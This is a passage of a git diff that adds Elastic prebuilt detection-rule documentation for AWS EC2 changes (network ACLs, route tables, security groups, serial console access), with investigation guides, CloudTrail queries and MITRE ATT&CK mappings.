Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. The detection rule monitors successful creation events of ACLs or entries, flagging potential unauthorized modifications that align with persistence tactics, aiding in early threat identification. + + +*Possible investigation steps* + + +- Review the CloudTrail logs for the specific event.dataset:aws.cloudtrail entries to identify the user or role (event.user) that initiated the CreateNetworkAcl or CreateNetworkAclEntry actions. +- Examine the event.provider:ec2.amazonaws.com logs to determine the IP addresses and locations associated with the request to assess if they are expected or suspicious. +- Check the event.action details to understand the specific rules created in the Network ACL, focusing on any overly permissive rules that could indicate a security risk. +- Investigate the event.outcome:success entries to confirm the successful creation of the ACL or ACL entry and correlate with any other suspicious activities in the AWS environment. +- Cross-reference the event with other security alerts or logs to identify any patterns or anomalies that could suggest malicious intent or unauthorized access. +- Assess the impact of the new ACL rules on the network security posture, ensuring they do not inadvertently allow unauthorized access or data exfiltration. + + +*False positive analysis* + + +- Routine infrastructure updates or deployments may trigger the creation of new network ACLs or entries. To manage this, establish a baseline of expected changes during scheduled maintenance windows and exclude these from alerts. +- Automated scripts or infrastructure-as-code tools like Terraform or CloudFormation can create network ACLs as part of normal operations. Identify and whitelist these automated processes to prevent unnecessary alerts. +- Changes made by trusted administrators or security teams for legitimate purposes can be mistaken for suspicious activity. Implement a process to log and review approved changes, allowing you to exclude these from detection. +- Temporary ACLs created for troubleshooting or testing purposes can generate alerts. Document and track these activities, and use tags or naming conventions to easily identify and exclude them from monitoring. +- Third-party services or integrations that require specific network configurations might create ACLs. Review and validate these services, and if deemed safe, add them to an exception list to reduce false positives. + + +*Response and remediation* + + +- Immediately review the AWS CloudTrail logs to confirm the creation of the Network ACL or entry and identify the IAM user or role responsible for the action. This helps determine if the action was authorized or potentially malicious. +- Revoke any suspicious or unauthorized IAM credentials associated with the creation of the Network ACL or entry to prevent further unauthorized access. +- Modify or delete the newly created Network ACL or entry if it is determined to be unauthorized or overly permissive, ensuring that it aligns with your organization's security policies. +- Conduct a security review of the affected AWS environment to identify any other unauthorized changes or indicators of compromise, focusing on persistence mechanisms. +- Implement additional monitoring and alerting for changes to Network ACLs and other critical AWS resources to enhance detection of similar threats in the future. +- Escalate the incident to the security operations team or incident response team for further investigation and to determine if additional containment or remediation actions are necessary. +- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of unauthorized changes to network configurations. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:(CreateNetworkAcl or CreateNetworkAclEntry) and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-deletion.asciidoc new file mode 100644 index 0000000000..bf8714af46 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-deletion.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-21-aws-ec2-network-access-control-list-deletion]] +=== AWS EC2 Network Access Control List Deletion + +Identifies the deletion of an Amazon Elastic Compute Cloud (EC2) network access control list (ACL) or one of its ingress/egress entries. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-network-acl.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteNetworkAcl.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/delete-network-acl-entry.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteNetworkAclEntry.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Network Access Control List Deletion* + + +AWS EC2 Network ACLs are essential for controlling inbound and outbound traffic to subnets, acting as a firewall layer. Adversaries may delete these ACLs to disable security controls, facilitating unauthorized access or data exfiltration. The detection rule monitors AWS CloudTrail logs for successful deletion events of ACLs or their entries, signaling potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the AWS CloudTrail logs to identify the specific user or role associated with the deletion event by examining the user identity information in the logs. +- Check the time and date of the deletion event to determine if it coincides with any other suspicious activities or known maintenance windows. +- Investigate the source IP address and location from which the deletion request was made to assess if it aligns with expected access patterns or if it appears anomalous. +- Examine the AWS account activity around the time of the event to identify any other unusual actions or changes, such as the creation of new resources or modifications to existing ones. +- Assess the impact of the deleted Network ACL or entries by identifying the affected subnets and evaluating the potential exposure or risk to the network. +- Review any recent changes to IAM policies or roles that might have inadvertently granted excessive permissions to users or services, allowing them to delete Network ACLs. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel may trigger deletion events. Verify if the deletion aligns with scheduled maintenance activities and consider excluding these events from alerts. +- Automated scripts or infrastructure-as-code tools like Terraform or CloudFormation might delete and recreate ACLs as part of normal operations. Identify these tools and exclude their actions from triggering alerts. +- Changes in network architecture or security policy updates can lead to legitimate ACL deletions. Document these changes and adjust the detection rule to ignore such planned modifications. +- Ensure that the AWS accounts involved in the deletion events are recognized and trusted. Exclude actions from these accounts if they are part of regular administrative tasks. +- Collaborate with the security team to establish a baseline of normal ACL deletion activities and refine the detection rule to minimize false positives based on this baseline. + + +*Response and remediation* + + +- Immediately isolate the affected subnet to prevent further unauthorized access or data exfiltration. This can be done by applying a restrictive security group or temporarily removing the subnet from the VPC. +- Review AWS CloudTrail logs to identify the source of the deletion event, including the IAM user or role responsible, and assess whether the action was authorized or part of a larger compromise. +- Recreate the deleted Network ACL or its entries using the most recent backup or configuration documentation to restore intended security controls. +- Implement a temporary monitoring solution to track any further unauthorized changes to network ACLs or related security configurations. +- Escalate the incident to the security operations team for a comprehensive investigation to determine the root cause and scope of the breach, including potential lateral movement or data exfiltration. +- Revoke or rotate credentials for any compromised IAM users or roles involved in the deletion event to prevent further unauthorized actions. +- Enhance detection capabilities by configuring alerts for any future unauthorized changes to network ACLs, ensuring rapid response to similar threats. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:(DeleteNetworkAcl or DeleteNetworkAclEntry) and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-route-table-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-route-table-created.asciidoc new file mode 100644 index 0000000000..a478596d85 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-route-table-created.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-aws-ec2-route-table-created]] +=== AWS EC2 Route Table Created + +Identifies when an EC2 Route Table has been created. Route tables can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.datadoghq.com/security_platform/default_rules/aws-ec2-route-table-modified/ +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateRoute.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateRouteTable + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Route Table Created* + + +AWS Route Tables are crucial components in managing network traffic within AWS environments, directing data between subnets and internet gateways. Adversaries may exploit route tables to reroute traffic for data exfiltration or to establish persistence by creating unauthorized routes. The detection rule monitors successful creation events of route tables, flagging potential misuse by correlating specific AWS CloudTrail logs, thus aiding in identifying unauthorized network configuration changes. + + +*Possible investigation steps* + + +- Investigate the AWS account and IAM user or role to determine if the action aligns with expected behavior and permissions. +- Examine the newly created route table's configuration to identify any unauthorized or suspicious routes that could indicate potential misuse or data exfiltration attempts. +- Correlate the event with other network security monitoring data to identify any unusual traffic patterns or anomalies that coincide with the route table creation. +- Assess the environment for any recent changes or incidents that might explain the creation of the route table, such as new deployments or infrastructure modifications. + + +*False positive analysis* + + +- Routine infrastructure updates or deployments may trigger route table creation events. To manage this, establish a baseline of expected behavior during scheduled maintenance windows and exclude these from alerts. +- Automated cloud management tools often create route tables as part of their operations. Identify these tools and create exceptions for their known activities to reduce noise. +- Development and testing environments frequently undergo changes, including the creation of route tables. Consider excluding these environments from alerts or applying a different set of monitoring rules. +- Legitimate changes by authorized personnel can be mistaken for suspicious activity. Implement a process to verify and document authorized changes, allowing for quick exclusion of these events from alerts. +- Multi-account AWS setups might have centralized networking teams that create route tables across accounts. Coordinate with these teams to understand their activities and exclude them from triggering alerts. + + +*Response and remediation* + + +- If unauthorized, remove permissions for related actions from the user or role. You can use the managed https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyAll] policy. +- Review the newly created route table and any associated routes to identify unauthorized entries. Remove any routes that are not part of the expected network configuration. +- Conduct a thorough audit of IAM roles and permissions to ensure that only authorized users have the ability to create or modify route tables. Revoke any excessive permissions identified. +- Implement network monitoring to detect unusual traffic patterns that may indicate data exfiltration or other malicious activities. +- Escalate the incident to the security operations team for further investigation and to determine if additional AWS resources have been compromised. +- Review AWS CloudTrail logs for any other suspicious activities around the time of the route table creation to identify potential indicators of compromise. +- Update security policies and procedures to include specific guidelines for monitoring and responding to unauthorized route table modifications, ensuring rapid detection and response in the future. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action:( + "CreateRoute" or + "CreateRouteTable" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-route-table-modified-or-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-route-table-modified-or-deleted.asciidoc new file mode 100644 index 0000000000..5293cd65cf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-route-table-modified-or-deleted.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-aws-ec2-route-table-modified-or-deleted]] +=== AWS EC2 Route Table Modified or Deleted + +Identifies AWS CloudTrail events where an EC2 route table or association has been modified or deleted. Route table or association modifications can be used by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. This is a New Terms rule that detects the first instance of this behavior by a user or role. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/easttimor/aws-incident-response#network-routing +* https://docs.datadoghq.com/security_platform/default_rules/aws-ec2-route-table-modified/ +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceRoute.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceRouteTableAssociation +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteRouteTable.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DeleteRoute.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisassociateRouteTable.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 213 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS EC2 Route Table Modified or Deleted* + + +This rule detects modifications or deletions of AWS route tables using actions such as `ReplaceRoute`, `ReplaceRouteTableAssociation`, `DeleteRouteTable`, `DeleteRoute`, or `DisassociateRouteTable`. These actions may indicate legitimate administrative activity, but they can also be abused by attackers to disrupt network traffic, reroute communications, or maintain persistence in a compromised environment. + + +*Possible Investigation Steps* + + +- **Review Request Parameters:** + - Check the `aws.cloudtrail.request_parameters` field. The sub-fields may vary depending on the `event.action` (e.g., `routeTableId` for `DeleteRouteTable`, `destinationCidrBlock` for `ReplaceRoute`). + - Validate the affected route table, routes, or associations based on the API call: + - For `ReplaceRoute`: Look for changes in specific routes using `destinationCidrBlock`. + - For `ReplaceRouteTableAssociation`: Review the new association details (e.g., subnet ID). + - For `DeleteRouteTable`: Confirm the `routeTableId` of the deleted table. + - For `DisassociateRouteTable`: Verify the disassociated resources. + +- **Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to determine the user or role initiating the action. Investigate whether this user is authorized to perform these operations. + - **Access Key ID**: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify if the access key used was expected or potentially compromised. + - **Access Patterns**: Validate whether the user or role has a history of performing route table modifications and whether this aligns with their expected responsibilities. + +- **Analyze Request Details**: + - **Action Type**: Verify the specific API call in the `event.action` field (e.g., `ReplaceRoute`, `DeleteRouteTable`) to understand the nature of the modification. + - **Source IP and Geolocation**: Examine the `source.ip` and `source.geo` fields to confirm whether the request originated from a trusted location. Suspicious geolocations or IPs may indicate adversarial activity. + - **User Agent**: Review the `user_agent.original` field to determine the tool used for the request (e.g., AWS CLI, Terraform). Unusual or custom user agents may indicate malicious intent. + +- **Correlate with Other Activity**: + - **Concurrent API Calls**: Look for related API calls (e.g., `CreateRoute`, `AuthorizeSecurityGroupIngress`, or `ModifyInstanceAttribute`) from the same user or IP to detect broader attack patterns. + - **IAM Changes**: Investigate whether any IAM policy updates or privilege escalation attempts preceded this activity. + - **Unusual Volume of Changes**: Check if the user has performed multiple route table modifications or deletions in a short timeframe. + +- **Validate the Intent**: + - **Planned Changes**: Confirm with administrators whether the route table changes were part of a planned update or maintenance activity. + - **Permissions and Justification**: Ensure that the user or role has the least privilege necessary for these actions and that there is a valid reason for modifying the route table. + + +*False Positive Analysis* + + +- **Routine Administration**: Route table modifications are often part of routine administrative tasks, such as creating new routes, updating associations, or removing unused resources. +- **Automation Tools**: Automated workflows, such as those executed by Terraform or CloudFormation, may trigger these events. Verify whether the `user_agent.original` field or source IP matches known automation tools. +- **Maintenance or Scaling**: Confirm whether these actions align with maintenance activities or scaling events (e.g., adding or removing subnets). + + +*Response and Remediation* + + +- **Revoke Unauthorized Permissions**: If unauthorized, remove permissions for related actions from the user or role. You can use the managed https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyAll] policy. +- **Restore the Route Table**: + - If critical networking was impacted, restore the route table or reapply previous configurations from backups or Terraform state files. + - Verify connectivity to affected subnets or instances to ensure no disruptions to services. +- **Audit IAM Policies**: + - Limit route table modification permissions to specific trusted users, roles, or automation accounts. + - Implement conditions in IAM policies, such as source IP restrictions, to reduce the risk of unauthorized access. +- **Monitor and Alert**: + - Set up additional alerts for unexpected route table modifications or deletions. + - Use VPC flow logs and CloudTrail to monitor for related suspicious activity. +- **Secure Automation**: Ensure automation tools, such as Terraform or CloudFormation, are configured securely and that their credentials are stored in secure locations like AWS Secrets Manager. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action:( + "ReplaceRoute" or + "ReplaceRouteTableAssociation" or + "DeleteRouteTable" or + "DeleteRoute" or + "DisassociateRouteTable" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-security-group-configuration-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-security-group-configuration-change.asciidoc new file mode 100644 index 0000000000..415abdb64e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-security-group-configuration-change.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-aws-ec2-security-group-configuration-change]] +=== AWS EC2 Security Group Configuration Change + +Identifies a change to an AWS Security Group Configuration. A security group is like a virtual firewall, and modifying configurations may allow unauthorized access. Threat actors may abuse this to establish persistence, exfiltrate data, or pivot in an AWS environment. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-security-groups.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Network Security Monitoring +* Resources: Investigation Guide +* Tactic: Persistence +* Tactic: Defense Evasion + +*Version*: 214 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Security Group Configuration Change* + + +This rule identifies any changes to an AWS Security Group, which functions as a virtual firewall controlling inbound and outbound traffic for resources like EC2 instances. Modifications to a security group configuration could expose critical assets to unauthorized access. Threat actors may exploit such changes to establish persistence, exfiltrate data, or pivot within an AWS environment. + + +*Possible Investigation Steps* + + +**Identify the Modified Security Group**: + - **Security Group ID**: Check the `aws.cloudtrail.request_parameters` field to identify the specific security group affected. + - **Rule Changes**: Review `aws.cloudtrail.response_elements` to determine the new rules or configurations, including any added or removed IP ranges, protocol changes, and port specifications. + +**Review User Context**: + - **User Identity**: Inspect the `aws.cloudtrail.user_identity.arn` field to determine which user or role made the modification. Verify if this is an authorized administrator or a potentially compromised account. + - **Access Patterns**: Analyze whether this user regularly interacts with security group configurations or if this event is out of the ordinary for their account. + +**Analyze the Configuration Change**: + - **Egress vs. Ingress**: Determine if the change affected inbound (ingress) or outbound (egress) traffic by reviewing fields like `isEgress` in the `securityGroupRuleSet`. Unauthorized changes to outbound traffic can indicate data exfiltration attempts. + - **IP Ranges and Ports**: Assess any added IP ranges, especially `0.0.0.0/0`, which exposes resources to the internet. Port changes should also be evaluated to ensure only necessary ports are open. + +**Check User Agent and Source IP**: + - **User Agent Analysis**: Examine the `user_agent.original` field to identify the tool or application used, such as `AWS Console` or `Terraform`, which may reveal if the action was automated or manual. + - **Source IP and Geolocation**: Use `source.address` and `source.geo` fields to verify if the IP address and geolocation match expected locations for your organization. Unexpected IPs or regions may indicate unauthorized access. + +**Evaluate for Persistence Indicators**: + - **Repeated Changes**: Investigate if similar changes were recently made across multiple security groups, which may suggest an attempt to maintain or expand access. + - **Permissions Review**: Confirm that the user’s IAM policies are configured to limit changes to security groups only as necessary. + +**Correlate with Other CloudTrail Events**: + - **Cross-Reference Other Security Events**: Look for related actions like `AuthorizeSecurityGroupIngress`, `CreateSecurityGroup`, or `RevokeSecurityGroupIngress` that may indicate additional or preparatory steps for unauthorized access. + - **Monitor for IAM or Network Changes**: Check for IAM modifications, network interface changes, or other configuration updates in the same timeframe to detect broader malicious activities. + + +*False Positive Analysis* + + +- **Routine Security Changes**: Security group modifications may be part of regular infrastructure maintenance. Verify if this action aligns with known, scheduled administrative activities. +- **Automated Configuration Management**: If you are using automated tools like `Terraform` or `CloudFormation`, confirm if the change matches expected configuration drift corrections or deployments. + + +*Response and Remediation* + + +- **Revert Unauthorized Changes**: If unauthorized, revert the security group configuration to its previous state to secure the environment. +- **Restrict Security Group Permissions**: Remove permissions to modify security groups from any compromised or unnecessary accounts to limit future access. +- **Quarantine Affected Resources**: If necessary, isolate any affected instances or resources to prevent further unauthorized activity. +- **Audit IAM and Security Group Policies**: Regularly review permissions related to security groups to ensure least privilege access and prevent excessive access. + + +*Additional Information* + + +For more details on managing AWS Security Groups and best practices, refer to the https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2-security-groups.html[AWS EC2 Security Groups Documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" and event.outcome: "success" + and (event.action:( + "AuthorizeSecurityGroupIngress" or + "AuthorizeSecurityGroupEgress" or + "CreateSecurityGroup" or + "ModifySecurityGroupRules" or + "RevokeSecurityGroupEgress" or + "RevokeSecurityGroupIngress") or + (event.action: "ModifyInstanceAttribute" and aws.cloudtrail.flattened.request_parameters.groupSet.items.groupId:*)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-serial-console-access-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-serial-console-access-enabled.asciidoc new file mode 100644 index 0000000000..734bf44307 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-serial-console-access-enabled.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-aws-ec2-serial-console-access-enabled]] +=== AWS EC2 Serial Console Access Enabled + +Detects when EC2 Serial Console Access is enabled for an AWS account. The EC2 Serial Console provides direct, text-based access to an instance's serial port, bypassing the network layer entirely. While useful for troubleshooting boot issues or network misconfigurations, enabling serial console access in production environments is rare and potentially dangerous. Adversaries may enable this feature to establish an out-of-band communication channel that evades network-based security monitoring, firewalls, and VPC controls. This access method can be used for persistent backdoor access or to interact with compromised instances without triggering network-based detection mechanisms. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_EnableSerialConsoleAccess.html +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-serial-console.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Serial Console Access Enabled* + + +The EC2 Serial Console provides a direct connection to an instance's serial port, allowing access even when network connectivity is unavailable. This feature operates completely outside the network layer, meaning traffic does not traverse VPCs, security groups, NACLs, or any network-based monitoring tools. Enabling serial console access at the account level is a prerequisite for using this feature on individual instances. + +This rule detects successful `EnableSerialConsoleAccess` API calls, which may indicate an adversary attempting to establish an out-of-band access channel. In most production environments, serial console access should remain disabled unless actively troubleshooting specific issues. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type` to determine who enabled serial console access. + - Verify whether this principal has a legitimate need for troubleshooting access. + +- **Review request context** + - Check `source.ip`, `source.geo`, and `user_agent.original` for anomalous access patterns. + - Determine whether this action occurred during normal business hours or maintenance windows. + +- **Check for follow-on activity** + - Search for `SendSerialConsoleSSHPublicKey` API calls, which indicate actual usage of the serial console. + - Review whether any EC2 instances show serial console sessions after this enablement. + +- **Correlate with other suspicious activity** + - Look for preceding credential theft indicators (e.g., `GetSecretValue`, `CreateAccessKey`). + - Check for other defense evasion actions such as GuardDuty modifications, CloudTrail changes, or security group modifications. + +- **Verify business justification** + - Confirm with the identified user or team whether there was a legitimate troubleshooting need. + - Check for related incident tickets or change requests. + + +*False positive analysis* + + +- **Legitimate troubleshooting** + - Serial console may be enabled temporarily to troubleshoot instances with SSH access issues or boot failures. + - Verify this corresponds to known incidents and ensure it was disabled afterward. + +- **Automated infrastructure provisioning** + - Some IaC tools may enable serial console access during instance setup. Validate against CI/CD logs. + + +*Response and remediation* + + +- **Immediate containment** + - If unauthorized, immediately disable serial console access using `DisableSerialConsoleAccess`. + - Review any instances that may have been accessed via serial console. + +- **Investigation** + - Audit CloudTrail for all serial console-related API calls (`EnableSerialConsoleAccess`, `DisableSerialConsoleAccess`, `SendSerialConsoleSSHPublicKey`, `GetSerialConsoleAccessStatus`). + - Check for any data exfiltration or lateral movement that occurred during the enabled period. + +- **Hardening** + - Restrict `ec2:EnableSerialConsoleAccess` permissions to a limited set of administrative roles. + - Implement AWS Config rules or Security Hub controls to alert on serial console access state changes. + - Consider using SCPs to prevent serial console enablement in production accounts. + + +*Additional information* + +- **https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-serial-console.html[AWS Documentation: EC2 Serial Console]** +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- 